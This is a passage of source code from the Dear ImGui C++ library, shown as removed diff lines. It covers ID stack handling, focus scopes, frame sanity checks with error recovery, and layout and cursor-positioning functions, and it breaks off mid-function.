ImGui::GetFontTexUvWhitePixel() -{ - return GImGui->DrawListSharedData.TexUvWhitePixel; -} - -void ImGui::SetWindowFontScale(float scale) -{ - IM_ASSERT(scale > 0.0f); - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - window->FontWindowScale = scale; - g.FontSize = g.DrawListSharedData.FontSize = window->CalcFontSize(); -} - -void ImGui::ActivateItem(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - g.NavNextActivateId = id; -} - -void ImGui::PushFocusScope(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - g.FocusScopeStack.push_back(window->DC.NavFocusScopeIdCurrent); - window->DC.NavFocusScopeIdCurrent = id; -} - -void ImGui::PopFocusScope() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(g.FocusScopeStack.Size > 0); // Too many PopFocusScope() ? - window->DC.NavFocusScopeIdCurrent = g.FocusScopeStack.back(); - g.FocusScopeStack.pop_back(); -} - -void ImGui::SetKeyboardFocusHere(int offset) -{ - IM_ASSERT(offset >= -1); // -1 is allowed but not below - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - g.FocusRequestNextWindow = window; - g.FocusRequestNextCounterRegular = window->DC.FocusCounterRegular + 1 + offset; - g.FocusRequestNextCounterTabStop = INT_MAX; -} - -void ImGui::SetItemDefaultFocus() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (!window->Appearing) - return; - if (g.NavWindow == window->RootWindowForNav && (g.NavInitRequest || g.NavInitResultId != 0) && g.NavLayer == g.NavWindow->DC.NavLayerCurrent) - { - g.NavInitRequest = false; - g.NavInitResultId = g.NavWindow->DC.LastItemId; - g.NavInitResultRectRel = ImRect(g.NavWindow->DC.LastItemRect.Min - g.NavWindow->Pos, g.NavWindow->DC.LastItemRect.Max - g.NavWindow->Pos); - NavUpdateAnyRequestFlag(); - if (!IsItemVisible()) - SetScrollHereY(); - } -} - -void ImGui::SetStateStorage(ImGuiStorage* tree) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - window->DC.StateStorage = tree ? tree : &window->StateStorage; -} - -ImGuiStorage* ImGui::GetStateStorage() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->DC.StateStorage; -} - -void ImGui::PushID(const char* str_id) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiID id = window->GetIDNoKeepAlive(str_id); - window->IDStack.push_back(id); -} - -void ImGui::PushID(const char* str_id_begin, const char* str_id_end) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiID id = window->GetIDNoKeepAlive(str_id_begin, str_id_end); - window->IDStack.push_back(id); -} - -void ImGui::PushID(const void* ptr_id) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiID id = window->GetIDNoKeepAlive(ptr_id); - window->IDStack.push_back(id); -} - -void ImGui::PushID(int int_id) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiID id = window->GetIDNoKeepAlive(int_id); - window->IDStack.push_back(id); -} - -// Push a given id value ignoring the ID stack as a seed. -void ImGui::PushOverrideID(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - window->IDStack.push_back(id); -} - -// Helper to avoid a common series of PushOverrideID -> GetID() -> PopID() call -// (note that when using this pattern, TestEngine's "Stack Tool" will tend to not display the intermediate stack level. -// for that to work we would need to do PushOverrideID() -> ItemAdd() -> PopID() which would alter widget code a little more) -ImGuiID ImGui::GetIDWithSeed(const char* str, const char* str_end, ImGuiID seed) -{ - ImGuiID id = ImHashStr(str, str_end ? (str_end - str) : 0, seed); - ImGui::KeepAliveID(id); -#ifdef IMGUI_ENABLE_TEST_ENGINE - ImGuiContext& g = *GImGui; - IMGUI_TEST_ENGINE_ID_INFO2(id, ImGuiDataType_String, str, str_end); -#endif - return id; -} - -void ImGui::PopID() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - IM_ASSERT(window->IDStack.Size > 1); // Too many PopID(), or could be popping in a wrong/different window? - window->IDStack.pop_back(); -} - -ImGuiID ImGui::GetID(const char* str_id) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->GetID(str_id); -} - -ImGuiID ImGui::GetID(const char* str_id_begin, const char* str_id_end) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->GetID(str_id_begin, str_id_end); -} - -ImGuiID ImGui::GetID(const void* ptr_id) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->GetID(ptr_id); -} - -bool ImGui::IsRectVisible(const ImVec2& size) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->ClipRect.Overlaps(ImRect(window->DC.CursorPos, window->DC.CursorPos + size)); -} - -bool ImGui::IsRectVisible(const ImVec2& rect_min, const ImVec2& rect_max) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->ClipRect.Overlaps(ImRect(rect_min, rect_max)); -} - - -//----------------------------------------------------------------------------- -// [SECTION] ERROR CHECKING -//----------------------------------------------------------------------------- - -// Helper function to verify ABI compatibility between caller code and compiled version of Dear ImGui. -// Verify that the type sizes are matching between the calling file's compilation unit and imgui.cpp's compilation unit -// If the user has inconsistent compilation settings, imgui configuration #define, packing pragma, etc. your user code -// may see different structures than what imgui.cpp sees, which is problematic. -// We usually require settings to be in imconfig.h to make sure that they are accessible to all compilation units involved with Dear ImGui. -bool ImGui::DebugCheckVersionAndDataLayout(const char* version, size_t sz_io, size_t sz_style, size_t sz_vec2, size_t sz_vec4, size_t sz_vert, size_t sz_idx) -{ - bool error = false; - if (strcmp(version, IMGUI_VERSION) != 0) { error = true; IM_ASSERT(strcmp(version, IMGUI_VERSION) == 0 && "Mismatched version string!"); } - if (sz_io != sizeof(ImGuiIO)) { error = true; IM_ASSERT(sz_io == sizeof(ImGuiIO) && "Mismatched struct layout!"); } - if (sz_style != sizeof(ImGuiStyle)) { error = true; IM_ASSERT(sz_style == sizeof(ImGuiStyle) && "Mismatched struct layout!"); } - if (sz_vec2 != sizeof(ImVec2)) { error = true; IM_ASSERT(sz_vec2 == sizeof(ImVec2) && "Mismatched struct layout!"); } - if (sz_vec4 != sizeof(ImVec4)) { error = true; IM_ASSERT(sz_vec4 == sizeof(ImVec4) && "Mismatched struct layout!"); } - if (sz_vert != sizeof(ImDrawVert)) { error = true; IM_ASSERT(sz_vert == sizeof(ImDrawVert) && "Mismatched struct layout!"); } - if (sz_idx != sizeof(ImDrawIdx)) { error = true; IM_ASSERT(sz_idx == sizeof(ImDrawIdx) && "Mismatched struct layout!"); } - return !error; -} - -static void ImGui::ErrorCheckNewFrameSanityChecks() -{ - ImGuiContext& g = *GImGui; - - // Check user IM_ASSERT macro - // (IF YOU GET A WARNING OR COMPILE ERROR HERE: it means you assert macro is incorrectly defined! - // If your macro uses multiple statements, it NEEDS to be surrounded by a 'do { ... } while (0)' block. - // This is a common C/C++ idiom to allow multiple statements macros to be used in control flow blocks.) - // #define IM_ASSERT(EXPR) if (SomeCode(EXPR)) SomeMoreCode(); // Wrong! - // #define IM_ASSERT(EXPR) do { if (SomeCode(EXPR)) SomeMoreCode(); } while (0) // Correct! - if (true) IM_ASSERT(1); else IM_ASSERT(0); - - // Check user data - // (We pass an error message in the assert expression to make it visible to programmers who are not using a debugger, as most assert handlers display their argument) - IM_ASSERT(g.Initialized); - IM_ASSERT((g.IO.DeltaTime > 0.0f || g.FrameCount == 0) && "Need a positive DeltaTime!"); - IM_ASSERT((g.FrameCount == 0 || g.FrameCountEnded == g.FrameCount) && "Forgot to call Render() or EndFrame() at the end of the previous frame?"); - IM_ASSERT(g.IO.DisplaySize.x >= 0.0f && g.IO.DisplaySize.y >= 0.0f && "Invalid DisplaySize value!"); - IM_ASSERT(g.IO.Fonts->Fonts.Size > 0 && "Font Atlas not built. Did you call io.Fonts->GetTexDataAsRGBA32() / GetTexDataAsAlpha8()?"); - IM_ASSERT(g.IO.Fonts->Fonts[0]->IsLoaded() && "Font Atlas not built. Did you call io.Fonts->GetTexDataAsRGBA32() / GetTexDataAsAlpha8()?"); - IM_ASSERT(g.Style.CurveTessellationTol > 0.0f && "Invalid style setting!"); - IM_ASSERT(g.Style.CircleTessellationMaxError > 0.0f && "Invalid style setting!"); - IM_ASSERT(g.Style.Alpha >= 0.0f && g.Style.Alpha <= 1.0f && "Invalid style setting!"); // Allows us to avoid a few clamps in color computations - IM_ASSERT(g.Style.WindowMinSize.x >= 1.0f && g.Style.WindowMinSize.y >= 1.0f && "Invalid style setting."); - IM_ASSERT(g.Style.WindowMenuButtonPosition == ImGuiDir_None || g.Style.WindowMenuButtonPosition == ImGuiDir_Left || g.Style.WindowMenuButtonPosition == ImGuiDir_Right); - for (int n = 0; n < ImGuiKey_COUNT; n++) - IM_ASSERT(g.IO.KeyMap[n] >= -1 && g.IO.KeyMap[n] < IM_ARRAYSIZE(g.IO.KeysDown) && "io.KeyMap[] contains an out of bound value (need to be 0..512, or -1 for unmapped key)"); - - // Check: required key mapping (we intentionally do NOT check all keys to not pressure user into setting up everything, but Space is required and was only added in 1.60 WIP) - if (g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) - IM_ASSERT(g.IO.KeyMap[ImGuiKey_Space] != -1 && "ImGuiKey_Space is not mapped, required for keyboard navigation."); - - // Check: the io.ConfigWindowsResizeFromEdges option requires backend to honor mouse cursor changes and set the ImGuiBackendFlags_HasMouseCursors flag accordingly. - if (g.IO.ConfigWindowsResizeFromEdges && !(g.IO.BackendFlags & ImGuiBackendFlags_HasMouseCursors)) - g.IO.ConfigWindowsResizeFromEdges = false; -} - -static void ImGui::ErrorCheckEndFrameSanityChecks() -{ - ImGuiContext& g = *GImGui; - - // Verify that io.KeyXXX fields haven't been tampered with. Key mods should not be modified between NewFrame() and EndFrame() - // One possible reason leading to this assert is that your backends update inputs _AFTER_ NewFrame(). - // It is known that when some modal native windows called mid-frame takes focus away, some backends such as GLFW will - // send key release events mid-frame. This would normally trigger this assertion and lead to sheared inputs. - // We silently accommodate for this case by ignoring/ the case where all io.KeyXXX modifiers were released (aka key_mod_flags == 0), - // while still correctly asserting on mid-frame key press events. - const ImGuiKeyModFlags key_mod_flags = GetMergedKeyModFlags(); - IM_ASSERT((key_mod_flags == 0 || g.IO.KeyMods == key_mod_flags) && "Mismatching io.KeyCtrl/io.KeyShift/io.KeyAlt/io.KeySuper vs io.KeyMods"); - IM_UNUSED(key_mod_flags); - - // Recover from errors - //ErrorCheckEndFrameRecover(); - - // Report when there is a mismatch of Begin/BeginChild vs End/EndChild calls. Important: Remember that the Begin/BeginChild API requires you - // to always call End/EndChild even if Begin/BeginChild returns false! (this is unfortunately inconsistent with most other Begin* API). - if (g.CurrentWindowStack.Size != 1) - { - if (g.CurrentWindowStack.Size > 1) - { - IM_ASSERT_USER_ERROR(g.CurrentWindowStack.Size == 1, "Mismatched Begin/BeginChild vs End/EndChild calls: did you forget to call End/EndChild?"); - while (g.CurrentWindowStack.Size > 1) - End(); - } - else - { - IM_ASSERT_USER_ERROR(g.CurrentWindowStack.Size == 1, "Mismatched Begin/BeginChild vs End/EndChild calls: did you call End/EndChild too much?"); - } - } - - IM_ASSERT_USER_ERROR(g.GroupStack.Size == 0, "Missing EndGroup call!"); -} - -// Experimental recovery from incorrect usage of BeginXXX/EndXXX/PushXXX/PopXXX calls. -// Must be called during or before EndFrame(). -// This is generally flawed as we are not necessarily End/Popping things in the right order. -// FIXME: Can't recover from inside BeginTabItem/EndTabItem yet. -// FIXME: Can't recover from interleaved BeginTabBar/Begin -void ImGui::ErrorCheckEndFrameRecover(ImGuiErrorLogCallback log_callback, void* user_data) -{ - // PVS-Studio V1044 is "Loop break conditions do not depend on the number of iterations" - ImGuiContext& g = *GImGui; - while (g.CurrentWindowStack.Size > 0) - { -#ifdef IMGUI_HAS_TABLE - while (g.CurrentTable && (g.CurrentTable->OuterWindow == g.CurrentWindow || g.CurrentTable->InnerWindow == g.CurrentWindow)) - { - if (log_callback) log_callback(user_data, "Recovered from missing EndTable() in '%s'", g.CurrentTable->OuterWindow->Name); - EndTable(); - } -#endif - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(window != NULL); - while (g.CurrentTabBar != NULL) //-V1044 - { - if (log_callback) log_callback(user_data, "Recovered from missing EndTabBar() in '%s'", window->Name); - EndTabBar(); - } - while (window->DC.TreeDepth > 0) - { - if (log_callback) log_callback(user_data, "Recovered from missing TreePop() in '%s'", window->Name); - TreePop(); - } - while (g.GroupStack.Size > window->DC.StackSizesOnBegin.SizeOfGroupStack) - { - if (log_callback) log_callback(user_data, "Recovered from missing EndGroup() in '%s'", window->Name); - EndGroup(); - } - while (window->IDStack.Size > 1) - { - if (log_callback) log_callback(user_data, "Recovered from missing PopID() in '%s'", window->Name); - PopID(); - } - while (g.ColorStack.Size > window->DC.StackSizesOnBegin.SizeOfColorStack) - { - if (log_callback) log_callback(user_data, "Recovered from missing PopStyleColor() in '%s' for ImGuiCol_%s", window->Name, GetStyleColorName(g.ColorStack.back().Col)); - PopStyleColor(); - } - while (g.StyleVarStack.Size > window->DC.StackSizesOnBegin.SizeOfStyleVarStack) - { - if (log_callback) log_callback(user_data, "Recovered from missing PopStyleVar() in '%s'", window->Name); - PopStyleVar(); - } - while (g.FocusScopeStack.Size > window->DC.StackSizesOnBegin.SizeOfFocusScopeStack) - { - if (log_callback) log_callback(user_data, "Recovered from missing PopFocusScope() in '%s'", window->Name); - PopFocusScope(); - } - if (g.CurrentWindowStack.Size == 1) - { - IM_ASSERT(g.CurrentWindow->IsFallbackWindow); - break; - } - IM_ASSERT(window == g.CurrentWindow); - if (window->Flags & ImGuiWindowFlags_ChildWindow) - { - if (log_callback) log_callback(user_data, "Recovered from missing EndChild() for '%s'", window->Name); - EndChild(); - } - else - { - if (log_callback) log_callback(user_data, "Recovered from missing End() for '%s'", window->Name); - End(); - } - } -} - -// Save current stack sizes for later compare -void ImGuiStackSizes::SetToCurrentState() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - SizeOfIDStack = (short)window->IDStack.Size; - SizeOfColorStack = (short)g.ColorStack.Size; - SizeOfStyleVarStack = (short)g.StyleVarStack.Size; - SizeOfFontStack = (short)g.FontStack.Size; - SizeOfFocusScopeStack = (short)g.FocusScopeStack.Size; - SizeOfGroupStack = (short)g.GroupStack.Size; - SizeOfBeginPopupStack = (short)g.BeginPopupStack.Size; -} - -// Compare to detect usage errors -void ImGuiStackSizes::CompareWithCurrentState() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_UNUSED(window); - - // Window stacks - // NOT checking: DC.ItemWidth, DC.TextWrapPos (per window) to allow user to conveniently push once and not pop (they are cleared on Begin) - IM_ASSERT(SizeOfIDStack == window->IDStack.Size && "PushID/PopID or TreeNode/TreePop Mismatch!"); - - // Global stacks - // For color, style and font stacks there is an incentive to use Push/Begin/Pop/.../End patterns, so we relax our checks a little to allow them. - IM_ASSERT(SizeOfGroupStack == g.GroupStack.Size && "BeginGroup/EndGroup Mismatch!"); - IM_ASSERT(SizeOfBeginPopupStack == g.BeginPopupStack.Size && "BeginPopup/EndPopup or BeginMenu/EndMenu Mismatch!"); - IM_ASSERT(SizeOfColorStack >= g.ColorStack.Size && "PushStyleColor/PopStyleColor Mismatch!"); - IM_ASSERT(SizeOfStyleVarStack >= g.StyleVarStack.Size && "PushStyleVar/PopStyleVar Mismatch!"); - IM_ASSERT(SizeOfFontStack >= g.FontStack.Size && "PushFont/PopFont Mismatch!"); - IM_ASSERT(SizeOfFocusScopeStack == g.FocusScopeStack.Size && "PushFocusScope/PopFocusScope Mismatch!"); -} - - -//----------------------------------------------------------------------------- -// [SECTION] LAYOUT -//----------------------------------------------------------------------------- -// - ItemSize() -// - ItemAdd() -// - SameLine() -// - GetCursorScreenPos() -// - SetCursorScreenPos() -// - GetCursorPos(), GetCursorPosX(), GetCursorPosY() -// - SetCursorPos(), SetCursorPosX(), SetCursorPosY() -// - GetCursorStartPos() -// - Indent() -// - Unindent() -// - SetNextItemWidth() -// - PushItemWidth() -// - PushMultiItemsWidths() -// - PopItemWidth() -// - CalcItemWidth() -// - CalcItemSize() -// - GetTextLineHeight() -// - GetTextLineHeightWithSpacing() -// - GetFrameHeight() -// - GetFrameHeightWithSpacing() -// - GetContentRegionMax() -// - GetContentRegionMaxAbs() [Internal] -// - GetContentRegionAvail(), -// - GetWindowContentRegionMin(), GetWindowContentRegionMax() -// - GetWindowContentRegionWidth() -// - BeginGroup() -// - EndGroup() -// Also see in imgui_widgets: tab bars, columns. -//----------------------------------------------------------------------------- - -// Advance cursor given item size for layout. -// Register minimum needed size so it can extend the bounding box used for auto-fit calculation. -// See comments in ItemAdd() about how/why the size provided to ItemSize() vs ItemAdd() may often different. -void ImGui::ItemSize(const ImVec2& size, float text_baseline_y) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return; - - // We increase the height in this function to accommodate for baseline offset. - // In theory we should be offsetting the starting position (window->DC.CursorPos), that will be the topic of a larger refactor, - // but since ItemSize() is not yet an API that moves the cursor (to handle e.g. wrapping) enlarging the height has the same effect. - const float offset_to_match_baseline_y = (text_baseline_y >= 0) ? ImMax(0.0f, window->DC.CurrLineTextBaseOffset - text_baseline_y) : 0.0f; - const float line_height = ImMax(window->DC.CurrLineSize.y, size.y + offset_to_match_baseline_y); - - // Always align ourselves on pixel boundaries - //if (g.IO.KeyAlt) window->DrawList->AddRect(window->DC.CursorPos, window->DC.CursorPos + ImVec2(size.x, line_height), IM_COL32(255,0,0,200)); // [DEBUG] - window->DC.CursorPosPrevLine.x = window->DC.CursorPos.x + size.x; - window->DC.CursorPosPrevLine.y = window->DC.CursorPos.y; - window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); // Next line - window->DC.CursorPos.y = IM_FLOOR(window->DC.CursorPos.y + line_height + g.Style.ItemSpacing.y); // Next line - window->DC.CursorMaxPos.x = ImMax(window->DC.CursorMaxPos.x, window->DC.CursorPosPrevLine.x); - window->DC.CursorMaxPos.y = ImMax(window->DC.CursorMaxPos.y, window->DC.CursorPos.y - g.Style.ItemSpacing.y); - //if (g.IO.KeyAlt) window->DrawList->AddCircle(window->DC.CursorMaxPos, 3.0f, IM_COL32(255,0,0,255), 4); // [DEBUG] - - window->DC.PrevLineSize.y = line_height; - window->DC.CurrLineSize.y = 0.0f; - window->DC.PrevLineTextBaseOffset = ImMax(window->DC.CurrLineTextBaseOffset, text_baseline_y); - window->DC.CurrLineTextBaseOffset = 0.0f; - - // Horizontal layout mode - if (window->DC.LayoutType == ImGuiLayoutType_Horizontal) - SameLine(); -} - -void ImGui::ItemSize(const ImRect& bb, float text_baseline_y) -{ - ItemSize(bb.GetSize(), text_baseline_y); -} - -// Declare item bounding box for clipping and interaction. -// Note that the size can be different than the one provided to ItemSize(). Typically, widgets that spread over available surface -// declare their minimum size requirement to ItemSize() and provide a larger region to ItemAdd() which is used drawing/interaction. -bool ImGui::ItemAdd(const ImRect& bb, ImGuiID id, const ImRect* nav_bb_arg) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - if (id != 0) - { - // Navigation processing runs prior to clipping early-out - // (a) So that NavInitRequest can be honored, for newly opened windows to select a default widget - // (b) So that we can scroll up/down past clipped items. This adds a small O(N) cost to regular navigation requests - // unfortunately, but it is still limited to one window. It may not scale very well for windows with ten of - // thousands of item, but at least NavMoveRequest is only set on user interaction, aka maximum once a frame. - // We could early out with "if (is_clipped && !g.NavInitRequest) return false;" but when we wouldn't be able - // to reach unclipped widgets. This would work if user had explicit scrolling control (e.g. mapped on a stick). - // We intentionally don't check if g.NavWindow != NULL because g.NavAnyRequest should only be set when it is non null. - // If we crash on a NULL g.NavWindow we need to fix the bug elsewhere. - window->DC.NavLayerActiveMaskNext |= (1 << window->DC.NavLayerCurrent); - if (g.NavId == id || g.NavAnyRequest) - if (g.NavWindow->RootWindowForNav == window->RootWindowForNav) - if (window == g.NavWindow || ((window->Flags | g.NavWindow->Flags) & ImGuiWindowFlags_NavFlattened)) - NavProcessItem(window, nav_bb_arg ? *nav_bb_arg : bb, id); - - // [DEBUG] Item Picker tool, when enabling the "extended" version we perform the check in ItemAdd() -#ifdef IMGUI_DEBUG_TOOL_ITEM_PICKER_EX - if (id == g.DebugItemPickerBreakId) - { - IM_DEBUG_BREAK(); - g.DebugItemPickerBreakId = 0; - } -#endif - } - - // Equivalent to calling SetLastItemData() - window->DC.LastItemId = id; - window->DC.LastItemRect = bb; - window->DC.LastItemStatusFlags = ImGuiItemStatusFlags_None; - g.NextItemData.Flags = ImGuiNextItemDataFlags_None; - -#ifdef IMGUI_ENABLE_TEST_ENGINE - if (id != 0) - IMGUI_TEST_ENGINE_ITEM_ADD(nav_bb_arg ? *nav_bb_arg : bb, id); -#endif - - // Clipping test - const bool is_clipped = IsClippedEx(bb, id, false); - if (is_clipped) - return false; - //if (g.IO.KeyAlt) window->DrawList->AddRect(bb.Min, bb.Max, IM_COL32(255,255,0,120)); // [DEBUG] - - // We need to calculate this now to take account of the current clipping rectangle (as items like Selectable may change them) - if (IsMouseHoveringRect(bb.Min, bb.Max)) - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HoveredRect; - return true; -} - -// Gets back to previous line and continue with horizontal layout -// offset_from_start_x == 0 : follow right after previous item -// offset_from_start_x != 0 : align to specified x position (relative to window/group left) -// spacing_w < 0 : use default spacing if pos_x == 0, no spacing if pos_x != 0 -// spacing_w >= 0 : enforce spacing amount -void ImGui::SameLine(float offset_from_start_x, float spacing_w) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - if (offset_from_start_x != 0.0f) - { - if (spacing_w < 0.0f) spacing_w = 0.0f; - window->DC.CursorPos.x = window->Pos.x - window->Scroll.x + offset_from_start_x + spacing_w + window->DC.GroupOffset.x + window->DC.ColumnsOffset.x; - window->DC.CursorPos.y = window->DC.CursorPosPrevLine.y; - } - else - { - if (spacing_w < 0.0f) spacing_w = g.Style.ItemSpacing.x; - window->DC.CursorPos.x = window->DC.CursorPosPrevLine.x + spacing_w; - window->DC.CursorPos.y = window->DC.CursorPosPrevLine.y; - } - window->DC.CurrLineSize = window->DC.PrevLineSize; - window->DC.CurrLineTextBaseOffset = window->DC.PrevLineTextBaseOffset; -} - -ImVec2 ImGui::GetCursorScreenPos() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.CursorPos; -} - -void ImGui::SetCursorScreenPos(const ImVec2& pos) -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DC.CursorPos = pos; - window->DC.CursorMaxPos = ImMax(window->DC.CursorMaxPos, window->DC.CursorPos); -} - -// User generally sees positions in window coordinates. Internally we store CursorPos in absolute screen coordinates because it is more convenient. -// Conversion happens as we pass the value to user, but it makes our naming convention confusing because GetCursorPos() == (DC.CursorPos - window.Pos). May want to rename 'DC.CursorPos'. -ImVec2 ImGui::GetCursorPos() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.CursorPos - window->Pos + window->Scroll; -} - -float ImGui::GetCursorPosX() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.CursorPos.x - window->Pos.x + window->Scroll.x; -} - -float ImGui::GetCursorPosY() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.CursorPos.y - window->Pos.y + window->Scroll.y; -} - -void ImGui::SetCursorPos(const ImVec2& local_pos) -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DC.CursorPos = window->Pos - window->Scroll + local_pos; - window->DC.CursorMaxPos = ImMax(window->DC.CursorMaxPos, window->DC.CursorPos); -} - -void ImGui::SetCursorPosX(float x) -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DC.CursorPos.x = window->Pos.x - window->Scroll.x + x; - window->DC.CursorMaxPos.x = ImMax(window->DC.CursorMaxPos.x, window->DC.CursorPos.x); -} - -void ImGui::SetCursorPosY(float y) -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DC.CursorPos.y = window->Pos.y - window->Scroll.y + y; - window->DC.CursorMaxPos.y = ImMax(window->DC.CursorMaxPos.y, window->DC.CursorPos.y); -} - -ImVec2 ImGui::GetCursorStartPos() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.CursorStartPos - window->Pos; -} - -void ImGui::Indent(float indent_w) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - window->DC.Indent.x += (indent_w != 0.0f) ? indent_w : g.Style.IndentSpacing; - window->DC.CursorPos.x = window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x; -} - -void ImGui::Unindent(float indent_w) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - window->DC.Indent.x -= (indent_w != 0.0f) ? indent_w : g.Style.IndentSpacing; - window->DC.CursorPos.x = window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x; -} - -// Affect large frame+labels widgets only. -void ImGui::SetNextItemWidth(float item_width) -{ - ImGuiContext& g = *GImGui; - g.NextItemData.Flags |= ImGuiNextItemDataFlags_HasWidth; - g.NextItemData.Width = item_width; -} - -// FIXME: Remove the == 0.0f behavior? -void ImGui::PushItemWidth(float item_width) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - window->DC.ItemWidthStack.push_back(window->DC.ItemWidth); // Backup current width - window->DC.ItemWidth = (item_width == 0.0f ? window->ItemWidthDefault : item_width); - g.NextItemData.Flags &= ~ImGuiNextItemDataFlags_HasWidth; -} - -void ImGui::PushMultiItemsWidths(int components, float w_full) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - const ImGuiStyle& style = g.Style; - const float w_item_one = ImMax(1.0f, IM_FLOOR((w_full - (style.ItemInnerSpacing.x) * (components - 1)) / (float)components)); - const float w_item_last = ImMax(1.0f, IM_FLOOR(w_full - (w_item_one + style.ItemInnerSpacing.x) * (components - 1))); - window->DC.ItemWidthStack.push_back(window->DC.ItemWidth); // Backup current width - window->DC.ItemWidthStack.push_back(w_item_last); - for (int i = 0; i < components - 2; i++) - window->DC.ItemWidthStack.push_back(w_item_one); - window->DC.ItemWidth = (components == 1) ? w_item_last : w_item_one; - g.NextItemData.Flags &= ~ImGuiNextItemDataFlags_HasWidth; -} - -void ImGui::PopItemWidth() -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DC.ItemWidth = window->DC.ItemWidthStack.back(); - window->DC.ItemWidthStack.pop_back(); -} - -// Calculate default item width given value passed to PushItemWidth() or SetNextItemWidth(). -// The SetNextItemWidth() data is generally cleared/consumed by ItemAdd() or NextItemData.ClearFlags() -float ImGui::CalcItemWidth() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - float w; - if (g.NextItemData.Flags & ImGuiNextItemDataFlags_HasWidth) - w = g.NextItemData.Width; - else - w = window->DC.ItemWidth; - if (w < 0.0f) - { - float region_max_x = GetContentRegionMaxAbs().x; - w = ImMax(1.0f, region_max_x - window->DC.CursorPos.x + w); - } - w = IM_FLOOR(w); - return w; -} - -// [Internal] Calculate full item size given user provided 'size' parameter and default width/height. Default width is often == CalcItemWidth(). -// Those two functions CalcItemWidth vs CalcItemSize are awkwardly named because they are not fully symmetrical. -// Note that only CalcItemWidth() is publicly exposed. -// The 4.0f here may be changed to match CalcItemWidth() and/or BeginChild() (right now we have a mismatch which is harmless but undesirable) -ImVec2 ImGui::CalcItemSize(ImVec2 size, float default_w, float default_h) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - - ImVec2 region_max; - if (size.x < 0.0f || size.y < 0.0f) - region_max = GetContentRegionMaxAbs(); - - if (size.x == 0.0f) - size.x = default_w; - else if (size.x < 0.0f) - size.x = ImMax(4.0f, region_max.x - window->DC.CursorPos.x + size.x); - - if (size.y == 0.0f) - size.y = default_h; - else if (size.y < 0.0f) - size.y = ImMax(4.0f, region_max.y - window->DC.CursorPos.y + size.y); - - return size; -} - -float ImGui::GetTextLineHeight() -{ - ImGuiContext& g = *GImGui; - return g.FontSize; -} - -float ImGui::GetTextLineHeightWithSpacing() -{ - ImGuiContext& g = *GImGui; - return g.FontSize + g.Style.ItemSpacing.y; -} - -float ImGui::GetFrameHeight() -{ - ImGuiContext& g = *GImGui; - return g.FontSize + g.Style.FramePadding.y * 2.0f; -} - -float ImGui::GetFrameHeightWithSpacing() -{ - ImGuiContext& g = *GImGui; - return g.FontSize + g.Style.FramePadding.y * 2.0f + g.Style.ItemSpacing.y; -} - -// FIXME: All the Contents Region function are messy or misleading. WE WILL AIM TO OBSOLETE ALL OF THEM WITH A NEW "WORK RECT" API. Thanks for your patience! - -// FIXME: This is in window space (not screen space!). -ImVec2 ImGui::GetContentRegionMax() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImVec2 mx = window->ContentRegionRect.Max - window->Pos; - if (window->DC.CurrentColumns || g.CurrentTable) - mx.x = window->WorkRect.Max.x - window->Pos.x; - return mx; -} - -// [Internal] Absolute coordinate. Saner. This is not exposed until we finishing refactoring work rect features. -ImVec2 ImGui::GetContentRegionMaxAbs() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImVec2 mx = window->ContentRegionRect.Max; - if (window->DC.CurrentColumns || g.CurrentTable) - mx.x = 